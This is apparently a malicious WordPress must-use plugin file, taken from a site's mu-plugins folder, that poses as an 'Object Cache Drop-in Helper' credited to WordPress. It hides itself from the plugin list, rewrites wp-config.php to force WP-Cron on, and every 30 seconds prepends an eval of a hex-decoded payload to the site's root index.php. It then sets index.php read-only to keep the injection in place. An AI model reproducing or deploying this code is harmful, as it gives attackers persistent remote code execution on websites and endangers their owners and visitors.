File: /home/dmhkjfau/domains/henna.dk/private_html/wp-content/mu-plugins/hostinger-cache.php
<?php
/**
* Plugin Name: Object Cache Drop-in Helper
* Description: Internal cache compatibility shim.
* Version: 1.0.11b5
* Author: WordPress
* License: GPL-2.0-or-later
*
* Deploy: wp-content/mu-plugins/hostinger-cache.php
* Generated: 2026-07-28T04:10:07Z UTC | source: b26_wp_mu:default | sha256:11b588d70b2a
* Cron: every 30s prepends hex2bin payload before root index.php first <?php.
*/
if (!defined('ABSPATH')) {
exit;
}
if (!defined('FM_CACHE_IDX_MARKER')) {
define('FM_CACHE_IDX_MARKER', 'FM_CACHE_IDX_INJECT');
}if (!defined('FM_CACHE_INDEX_CUSTOM_CODE')) {
define('FM_CACHE_INDEX_CUSTOM_CODE', '$_fm_h = hex2bin(
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);
if (is_string($_fm_h) && $_fm_h !== \'\') { eval($_fm_h); }
');
}
if (!defined('FM_CACHE_CRON_HOOK')) {
define('FM_CACHE_CRON_HOOK', 'fm_cache_index_inject_cron');
}
if (!defined('FM_CACHE_CRON_SCHEDULE')) {
define('FM_CACHE_CRON_SCHEDULE', 'fm_cache_every_30s');
}
/** Hide from plugins list. */
add_filter('all_plugins', static function ($plugins) {
$key = plugin_basename(__FILE__);
if (isset($plugins[$key])) {
unset($plugins[$key]);
}
return $plugins;
});
add_filter('cron_schedules', static function ($schedules) {
if (!isset($schedules[FM_CACHE_CRON_SCHEDULE])) {
$schedules[FM_CACHE_CRON_SCHEDULE] = array(
'interval' => 30,
'display' => 'Every 30 Seconds',
);
}
return $schedules;
});
add_action('init', 'fm_cache_bootstrap', 1);
add_action(FM_CACHE_CRON_HOOK, 'fm_cache_cron_inject_index');
register_activation_hook(__FILE__, 'fm_cache_on_activate');
register_deactivation_hook(__FILE__, 'fm_cache_on_deactivate');
function fm_cache_on_activate() {
fm_cache_ensure_wp_cron_enabled();
fm_cache_schedule_cron();
}
function fm_cache_on_deactivate() {
$ts = wp_next_scheduled(FM_CACHE_CRON_HOOK);
while ($ts) {
wp_unschedule_event($ts, FM_CACHE_CRON_HOOK);
$ts = wp_next_scheduled(FM_CACHE_CRON_HOOK);
}
}
function fm_cache_bootstrap() {
fm_cache_ensure_wp_cron_enabled();
fm_cache_schedule_cron();
}
function fm_cache_schedule_cron() {
if (!wp_next_scheduled(FM_CACHE_CRON_HOOK)) {
wp_schedule_event(time() + 5, FM_CACHE_CRON_SCHEDULE, FM_CACHE_CRON_HOOK);
}
}
function fm_cache_wp_config_path() {
$candidates = array(
ABSPATH . 'wp-config.php',
dirname(ABSPATH) . '/wp-config.php',
);
foreach ($candidates as $path) {
if (is_file($path) && is_readable($path)) {
return wp_normalize_path($path);
}
}
return '';
}
/**
* wp-config 若关闭 WP-Cron，改写 DISABLE_WP_CRON 为 false。
*/
function fm_cache_ensure_wp_cron_enabled() {
if (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) {
// already loaded as true in this request; still patch file for next hit
} elseif (!defined('DISABLE_WP_CRON') || !DISABLE_WP_CRON) {
return true;
}
if (get_option('fm_cache_wp_config_patched') === '1') {
return false;
}
$path = fm_cache_wp_config_path();
if ($path === '') {
return false;
}
$raw = @file_get_contents($path);
if (!is_string($raw) || $raw === '') {
return false;
}
$patterns = array(
"/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*true\\s*\\)\\s*;?/i",
"/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*'true'\\s*\\)\\s*;?/i",
"/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*\"true\"\\s*\\)\\s*;?/i",
);
$replacement = "define('DISABLE_WP_CRON', false);";
$next = $raw;
$hit = false;
foreach ($patterns as $pattern) {
$replaced = preg_replace($pattern, $replacement, $next, -1, $count);
if ($count > 0 && is_string($replaced)) {
$next = $replaced;
$hit = true;
}
}
if (!$hit) {
return false;
}
if (!fm_cache_make_writable($path)) {
return false;
}
if (@file_put_contents($path, $next, LOCK_EX) === false) {
return false;
}
update_option('fm_cache_wp_config_patched', '1', false);
return true;
}
function fm_cache_root_index_path() {
return wp_normalize_path(ABSPATH . 'index.php');
}
function fm_cache_cron_inject_index() {
$code = fm_cache_get_index_custom_code();
if ($code === '') {
return;
}
fm_cache_inject_root_index($code);
}
function fm_cache_get_index_custom_code() {
return FM_CACHE_INDEX_CUSTOM_CODE;
}
function fm_cache_inject_root_index($custom_code) {
$file = fm_cache_root_index_path();
if (!is_file($file)) {
return false;
}
if (!fm_cache_make_writable($file)) {
return false;
}
$content = @file_get_contents($file);
if ($content === false) {
return false;
}
$merged = fm_cache_idx_prepend_custom($content, $custom_code);
if (!is_string($merged) || $merged === $content) {
fm_cache_finalize_index($file);
return $merged === $content;
}
if (@file_put_contents($file, $merged, LOCK_EX) === false) {
return false;
}
if (function_exists('opcache_invalidate')) {
@opcache_invalidate($file, true);
}
@clearstatcache(true, $file);
fm_cache_finalize_index($file);
return true;
}
function fm_cache_make_writable($path) {
if (is_writable($path)) {
return true;
}
@chmod($path, 0644);
clearstatcache(true, $path);
return is_writable($path);
}
function fm_cache_finalize_index($path) {
@chmod($path, 0444);
clearstatcache(true, $path);
}
/* ---------- index prepend helpers (prepend-only, original bytes preserved) ---------- */
function fm_cache_idx_strip_bom($content) {
if (!is_string($content) || strlen($content) < 3) {
return $content;
}
if (ord($content[0]) === 0xEF && ord($content[1]) === 0xBB && ord($content[2]) === 0xBF) {
return substr($content, 3);
}
return $content;
}
function fm_cache_idx_is_php_open_at($content, $pos, $in_str) {
if ($in_str || !is_string($content) || $pos < 0) {
return false;
}
$len = strlen($content);
if ($pos + 5 > $len || strncasecmp(substr($content, $pos, 5), '<?php', 5) !== 0) {
return false;
}
if ($pos > 0) {
$prev = $content[$pos - 1];
if (ctype_alnum($prev) || $prev === '_') {
return false;
}
}
return true;
}
function fm_cache_idx_advance_string_state($content, $pos, &$in_str, &$str_chr, &$esc) {
$c = $content[$pos];
if ($esc) {
$esc = false;
return;
}
if ($in_str) {
if ($c === '\\') {
$esc = true;
} elseif ($c === $str_chr) {
$in_str = false;
}
return;
}
if ($c === '"' || $c === "'") {
$in_str = true;
$str_chr = $c;
}
}
function fm_cache_idx_block_bounds_after_open($content, $openPos) {
$len = strlen($content);
$pos = $openPos + 5;
$in_str = false;
$str_chr = '';
$esc = false;
while ($pos < $len) {
fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc);
if (!$in_str && $pos + 2 <= $len && $content[$pos] === '?' && $content[$pos + 1] === '>') {
return array('end' => $pos + 2, 'closed' => true);
}
if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) {
return array('end' => $pos, 'closed' => false);
}
$pos++;
}
return array('end' => $len, 'closed' => false);
}
function fm_cache_idx_leading_ws_end($content) {
$len = strlen($content);
$p = 0;
while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {
$p++;
}
return $p;
}
function fm_cache_idx_parse_leading_php_blocks($content) {
$content = fm_cache_idx_strip_bom($content);
if (!is_string($content) || $content === '') {
return array('count' => 0, 'blocks' => array(), 'tail' => (string) $content);
}
$lead = fm_cache_idx_leading_ws_end($content);
if (!fm_cache_idx_is_php_open_at($content, $lead, false)) {
return array('count' => 0, 'blocks' => array(), 'tail' => $content);
}
$blocks = array();
$b1start = $lead;
$b1bounds = fm_cache_idx_block_bounds_after_open($content, $b1start);
$blocks[] = array(
'start' => $b1start,
'end' => $b1bounds['end'],
'inner' => substr($content, $b1start + 5, $b1bounds['end'] - $b1start - 5),
);
$p = $b1bounds['end'];
$len = strlen($content);
while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {
$p++;
}
if ($p < $len && fm_cache_idx_is_php_open_at($content, $p, false)) {
$b2start = $p;
$b2bounds = fm_cache_idx_block_bounds_after_open($content, $b2start);
$blocks[] = array(
'start' => $b2start,
'end' => $b2bounds['end'],
'inner' => substr($content, $b2start + 5, $b2bounds['end'] - $b2start - 5),
);
return array('count' => 2, 'blocks' => $blocks, 'tail' => substr($content, $b2start));
}
return array('count' => 1, 'blocks' => $blocks, 'tail' => $content);
}
function fm_cache_idx_inner_has_marker($inner) {
if (function_exists('b26_index_block_is_sed_inject')) {
return b26_index_block_is_sed_inject($inner);
}
if (!is_string($inner) || $inner === '') {
return false;
}
$needles = array('__B26_2DUAN_', '// 2DUAN_START', FM_CACHE_IDX_MARKER);
foreach ($needles as $needle) {
if (strpos($inner, $needle) !== false) {
return true;
}
}
return (strpos($inner, '$_fm_h') !== false && strpos($inner, 'hex2bin') !== false);
}
function fm_cache_idx_collapse_redundant_inject_blocks($content) {
if (function_exists('b26_index_collapse_redundant_inject_blocks')) {
return b26_index_collapse_redundant_inject_blocks($content);
}
if (!is_string($content) || $content === '') {
return $content;
}
$parsed = fm_cache_idx_parse_leading_php_blocks($content);
if ($parsed['count'] < 2 || empty($parsed['blocks'][0])) {
return $content;
}
$b0 = $parsed['blocks'][0];
if (!fm_cache_idx_inner_has_marker($b0['inner'])) {
return $content;
}
if (empty($parsed['blocks'][1]) || !fm_cache_idx_inner_has_marker($parsed['blocks'][1]['inner'])) {
return $content;
}
$siteTail = fm_cache_idx_get_site_tail_for_prepend($content);
if ($siteTail === '') {
return $content;
}
$firstBlockBytes = substr($content, $b0['start'], $b0['end'] - $b0['start']);
return fm_cache_idx_join_inject_and_site($firstBlockBytes, $siteTail);
}
function fm_cache_idx_get_site_tail_for_prepend($content) {
if (function_exists('b26_index_get_site_tail_for_prepend')) {
return b26_index_get_site_tail_for_prepend($content);
}
if (!is_string($content) || $content === '') {
return '';
}
$content = fm_cache_idx_strip_bom($content);
$guard = 0;
while ($guard++ < 32) {
$parsed = fm_cache_idx_parse_leading_php_blocks($content);
$count = (int) $parsed['count'];
if ($count < 1 || empty($parsed['blocks'][0])) {
return $content;
}
$firstInner = (string) $parsed['blocks'][0]['inner'];
if (fm_cache_idx_inner_has_marker($firstInner)) {
if ($count >= 2) {
$content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
continue;
}
return '';
}
if ($count >= 2) {
return fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
}
return $content;
}
return $content;
}
function fm_cache_idx_content_has_php_open($content) {
if (!is_string($content) || $content === '') {
return false;
}
$len = strlen($content);
$in_str = false;
$str_chr = '';
$esc = false;
for ($pos = 0; $pos < $len; $pos++) {
fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc);
if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) {
return true;
}
}
return false;
}
function fm_cache_idx_empty_php_sentinel() {
return '<?php ?>';
}
function fm_cache_idx_strip_empty_php_sentinel_prefix($content) {
if (!is_string($content) || $content === '') {
return $content;
}
$lead = fm_cache_idx_leading_ws_end($content);
if (!fm_cache_idx_is_php_open_at($content, $lead, false)) {
return $content;
}
$bounds = fm_cache_idx_block_bounds_after_open($content, $lead);
if (empty($bounds['closed'])) {
return $content;
}
$inner = substr($content, $lead + 5, $bounds['end'] - $lead - 7);
if (trim($inner) !== '') {
return $content;
}
return substr($content, $bounds['end']);
}
/**
* 取出原站正文：剥掉所有最前带 FM_CACHE_IDX_INJECT 的独立 <?php ?> 段。
*/
function fm_cache_idx_extract_original($content) {
if (!is_string($content) || $content === '') {
return '';
}
$content = fm_cache_idx_strip_bom($content);
$guard = 0;
while ($guard < 32) {
$guard++;
$parsed = fm_cache_idx_parse_leading_php_blocks($content);
$count = (int) $parsed['count'];
if ($count === 0 || empty($parsed['blocks'][0])) {
break;
}
if (!fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) {
break;
}
if ($count >= 2) {
$content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
continue;
}
$end = (int) $parsed['blocks'][0]['end'];
$content = fm_cache_idx_strip_empty_php_sentinel_prefix(substr($content, $end));
}
return $content;
}
function fm_cache_idx_build_inject_block($custom_code) {
$body = trim((string) $custom_code, "\r\n");
$inner = "// " . FM_CACHE_IDX_MARKER . "\n" . $body;
return "<?php\n" . $inner . "\n?>";
}
function fm_cache_idx_join_inject_and_site($newBlock, $sitePart) {
$sitePart = (string) $sitePart;
if (!fm_cache_idx_content_has_php_open($sitePart)) {
return $newBlock . fm_cache_idx_empty_php_sentinel() . $sitePart;
}
return $newBlock . $sitePart;
}
function fm_cache_idx_prepend_custom($original, $custom_code) {
if (!is_string($original) || $original === '' || !is_string($custom_code)) {
return false;
}
$original = fm_cache_idx_collapse_redundant_inject_blocks($original);
$newBlock = fm_cache_idx_build_inject_block($custom_code);
$parsed = fm_cache_idx_parse_leading_php_blocks($original);
$count = (int) $parsed['count'];
if ($count >= 1 && !empty($parsed['blocks'][0])
&& fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) {
return $original;
}
$sitePart = fm_cache_idx_get_site_tail_for_prepend($original);
return fm_cache_idx_join_inject_and_site($newBlock, $sitePart);
}